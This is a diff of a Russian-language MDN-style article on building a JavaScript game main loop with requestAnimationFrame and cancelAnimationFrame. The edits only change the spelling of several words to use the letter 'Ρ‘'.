+<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ наткнётся на IIFE (Immediately Invoked Function Expression), ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ основной Ρ†ΠΈΠΊΠ» ΠΈ сразу ΠΆΠ΅ поставит Π΅Π³ΠΎ Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π°. Он Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ привязан Π½ΠΈ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΈΒ <code>main</code> (ΠΈΠ»ΠΈΒ <code>main()</code> для мСтодов) Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, доступным Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ части прилоТСния для опрСдСлСния Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ распространСно ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ <code>requestAnimationFrame()</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ if вмСсто Π²Ρ‹Π·ΠΎΠ²Π°Β <code>cancelAnimationFrame()</code>.</p>
</div>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ основной Ρ†ΠΈΠΊΠ», Π²Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Β <code>main()</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. НСобходимо ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π²Β <code>cancelAnimationFrame()</code> ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ послСднСго Π²Ρ‹Π·ΠΎΠ²Π°Β <code>requestAnimationFrame()</code>. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ вашСй ΠΈΠ³Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² пространствС ΠΈΠΌΠ΅Π½, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Π½Π°Π·Π²Π°Π»ΠΈΒ <code>MyGame</code>.Β Β Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, основной Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ основной Ρ†ΠΈΠΊΠ», Π²Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Β <code>main()</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. НСобходимо ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π²Β <code>cancelAnimationFrame()</code> ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ послСднСго Π²Ρ‹Π·ΠΎΠ²Π°Β <code>requestAnimationFrame()</code>. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ вашСй ΠΈΠ³Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² пространствС ΠΈΠΌΡ‘Π½, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Π½Π°Π·Π²Π°Π»ΠΈΒ <code>MyGame</code>.Β Β Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, основной Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js notranslate">/*
* НачинаСм с Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой Π² случаС, Ссли какая-Π»ΠΈΠ±ΠΎ строка ΠΊΠΎΠ΄Π° Π²Ρ‹ΡˆΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°
* полагаСтся Π½Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ вставку Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой (ASI). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ случайно Ρ€Π΅ΡˆΠΈΡ‚ΡŒ,
* Ρ‡Ρ‚ΠΎ вСсь этот ΠΊΠΎΠ΄ начинаСтся с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки. ΠŸΠ΅Ρ€Π²Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° с запятой ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ
-* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠΉ.
+* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠΉ.
*
* Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ MyGame ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°.
*/
@@ -100,7 +100,7 @@ main(); // Start the cycle</pre>
main(); // Π’Ρ‹Π·ΠΎΠ² Ρ†ΠΈΠΊΠ»Π°
})();</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ пСрСмСнная <code>stopMain</code>, объявлСнная Π² нашСм пространствС ΠΈΠΌΠ΅Π½ <code>MyGame</code>, которая содСрТит ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ послСднСго Π²Ρ‹Π·ΠΎΠ²Π°Β <code>requestAnimationFrame()</code> нашСго основного Ρ†ΠΈΠΊΠ»Π°.Β Β Π’ любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ основной Ρ†ΠΈΠΊΠ», сказав Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚ΠΎΡ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠ» запрос, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ послСднСму ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρƒ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ пСрСмСнная <code>stopMain</code>, объявлСнная Π² нашСм пространствС ΠΈΠΌΡ‘Π½ <code>MyGame</code>, которая содСрТит ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ послСднСго Π²Ρ‹Π·ΠΎΠ²Π°Β <code>requestAnimationFrame()</code> нашСго основного Ρ†ΠΈΠΊΠ»Π°.Β Β Π’ любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ основной Ρ†ΠΈΠΊΠ», сказав Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚ΠΎΡ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠ» запрос, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ послСднСму ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρƒ.</p>
<pre class="brush: js notranslate">window.cancelAnimationFrame( MyGame.stopMain );</pre>
@@ -108,7 +108,7 @@ main(); // Start the cycle</pre>
<h2 id="ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅_Π±ΠΎΠ»Π΅Π΅_ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ_основного_Ρ†ΠΈΠΊΠ»Π°_Π²_JavaScript">ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ <em>Π±ΠΎΠ»Π΅Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ</em> основного Ρ†ΠΈΠΊΠ»Π° Π² JavaScript</h2>
-<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ‚ΠΎΠ², Π² JavaScript Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выполняСт свой собствСнный основной Ρ†ΠΈΠΊΠ», ΠΈ ваш ΠΊΠΎΠ΄ сущСствуСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅Π³ΠΎ этапах.Β Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ основныС Ρ†ΠΈΠΊΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡ‚Π°Ρ€Π°ΡŽΡ‚ΡΡ Π½Π΅ ΠΎΡ‚Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π˜Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»ΡΡŽΡ‚ сСбя ΠΊΒ  <code>window.requestAnimationFrame(),</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ прСдстоящим ΠΊΠ°Π΄Ρ€ΠΎΠΌ Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ€Π΅ΡˆΠ°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ эти запросы с ΠΈΡ… основным Ρ†ΠΈΠΊΠ»ΠΎΠΌ. БпСцификация <a href="http://www.w3.org/TR/animation-timing/">W3C для requestAnimationFrame</a>Β Π½Π° самом Π΄Π΅Π»Π΅ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π΅ опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ колбэки <code>requestAnimationFrame</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСимущСством, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт поставщикам Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² свободно ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ Π»ΡƒΡ‡ΡˆΠΈΠΌΠΈ, ΠΈ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… с Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</p>
+<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ‚ΠΎΠ², Π² JavaScript Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выполняСт свой собствСнный основной Ρ†ΠΈΠΊΠ», ΠΈ ваш ΠΊΠΎΠ΄ сущСствуСт Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅Π³ΠΎ этапах.Β Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ основныС Ρ†ΠΈΠΊΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡ‚Π°Ρ€Π°ΡŽΡ‚ΡΡ Π½Π΅ ΠΎΡ‚Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π˜Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»ΡΡŽΡ‚ сСбя ΠΊΒ  <code>window.requestAnimationFrame(),</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ прСдстоящим ΠΊΠ°Π΄Ρ€ΠΎΠΌ Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ€Π΅ΡˆΠ°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ эти запросы с ΠΈΡ… основным Ρ†ΠΈΠΊΠ»ΠΎΠΌ. БпСцификация <a href="http://www.w3.org/TR/animation-timing/">W3C для requestAnimationFrame</a>Β Π½Π° самом Π΄Π΅Π»Π΅ Ρ‚ΠΎΡ‡Π½ΠΎ Π½Π΅ опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ колбэки <code>requestAnimationFrame</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСимущСством, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт поставщикам Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² свободно ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ Π»ΡƒΡ‡ΡˆΠΈΠΌΠΈ, ΠΈ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… с Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</p>
<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ вСрсии Firefox ΠΈ Google Chrome (вСроятно,Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅) <em>ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ </em>ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΒ ΠΊΠΎΠ»Π±ΡΠΊΠΈΒ <code>requestAnimationFrame</code>Β ΠΊ своСму основному ΠΏΠΎΡ‚ΠΎΠΊΡƒ Π² самом Π½Π°Ρ‡Π°Π»Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° Ρ„Ρ€Π΅ΠΉΠΌΠ°<em>. </em>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ основной ΠΏΠΎΡ‚ΠΎΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° <em>пытаСтся </em>Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:Β </p>
@@ -116,12 +116,12 @@ main(); // Start the cycle</pre>
<li>Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€Β (ΠΏΠΎΠΊΠ° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ обрабатываСтся Π½Π° дисплСС.).</li>
<li>ΠŸΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ ΠΏΠΎ колбэкам <code>requestAnimationFrame</code>Β ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΈΡ….</li>
<li>Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ сборку мусора ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Π΅ колбэки ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°ΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ основной ΠΏΠΎΡ‚ΠΎΠΊ.</li>
- <li>Π‘ΠΏΠ°Ρ‚ΡŒ (Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ событиС Π½Π΅ ΠΏΡ€Π΅Ρ€Π²Π΅Ρ‚ сон Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°) Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽΒ (<a href="http://www.techopedia.com/definition/92/vertical-sync-vsync">VSync</a>), ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</li>
+ <li>Π‘ΠΏΠ°Ρ‚ΡŒ (Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ событиС Π½Π΅ ΠΏΡ€Π΅Ρ€Π²Ρ‘Ρ‚ сон Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°) Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽΒ (<a href="http://www.techopedia.com/definition/92/vertical-sync-vsync">VSync</a>), ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</li>
</ol>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅Β realtime applications, ΠΊΠ°ΠΊ ΠΎ запасС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для Ρ€Π°Π±ΠΎΡ‚Ρ‹. ВсС Π²Ρ‹ΡˆΠ΅ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½Π½Ρ‹Π΅ шаги Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 16Β  с ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ миллисСкунд, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΎΡ‚ΡΡ‚Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚ дисплСя с частотой 60Π“Ρ†.Β  Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ваш ΠΊΠΎΠ΄ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ Π΅ΠΌΡƒ максимум Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для вычислСний. Π’Π°Ρˆ основной ΠΏΠΎΡ‚ΠΎΠΊ часто запускаСт Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΠΆΠ΅ Π½Π΅ находятся Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (НапримСр, растСризация ΠΈΠ»ΠΈ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Ρ‹ Π² WebGL). Β Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ вычислСния ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° Web Worker-e ΠΈΠ»ΠΈ GPU ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ свой основной ΠΏΠΎΡ‚ΠΎΠΊ для управлСния сборкой мусора, обработки асинхронных Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ…Β Π·Π°Π΄Π°Ρ‡.Β </p>
-<p>ΠŸΠΎΠΊΠ°Β ΠΌΡ‹ обсуТдаСм распрСдСлСниС Π½Π°ΡˆΠ΅Π³ΠΎΒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎΒ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π°, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ инструмСнт ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <em>High Resolution Time. ΠžΠ±ΡŠΠ΅ΠΊΡ‚</em>Β {{ domxref("Date") }} большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС основного ΠΌΠ΅Ρ‚ΠΎΠ΄Π° синхронизации событий, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ Ρ‚ΠΎΡ‡Π΅Π½Β ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ систСмными часами.Β High Resolution Time, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, подсчитываСт количСство миллисСкунд начиная с <code>navigationStart</code> (ΠΏΡ€ΠΈ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°). Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся Π² Π²ΠΈΠ΄Π΅ дСсятичного числа с Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π΄ΠΎ миллисСкунды.Β  Он извСстСн ΠΊΠ°ΠΊΒ <code>DOMHighResTimeStamp</code>, Π½ΠΎ для всСх Ρ†Π΅Π»Π΅ΠΉ ΠΈ Π·Π°Π΄Π°Ρ‡ считайтС Π΅Π³ΠΎ числом с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой.Β Β </p>
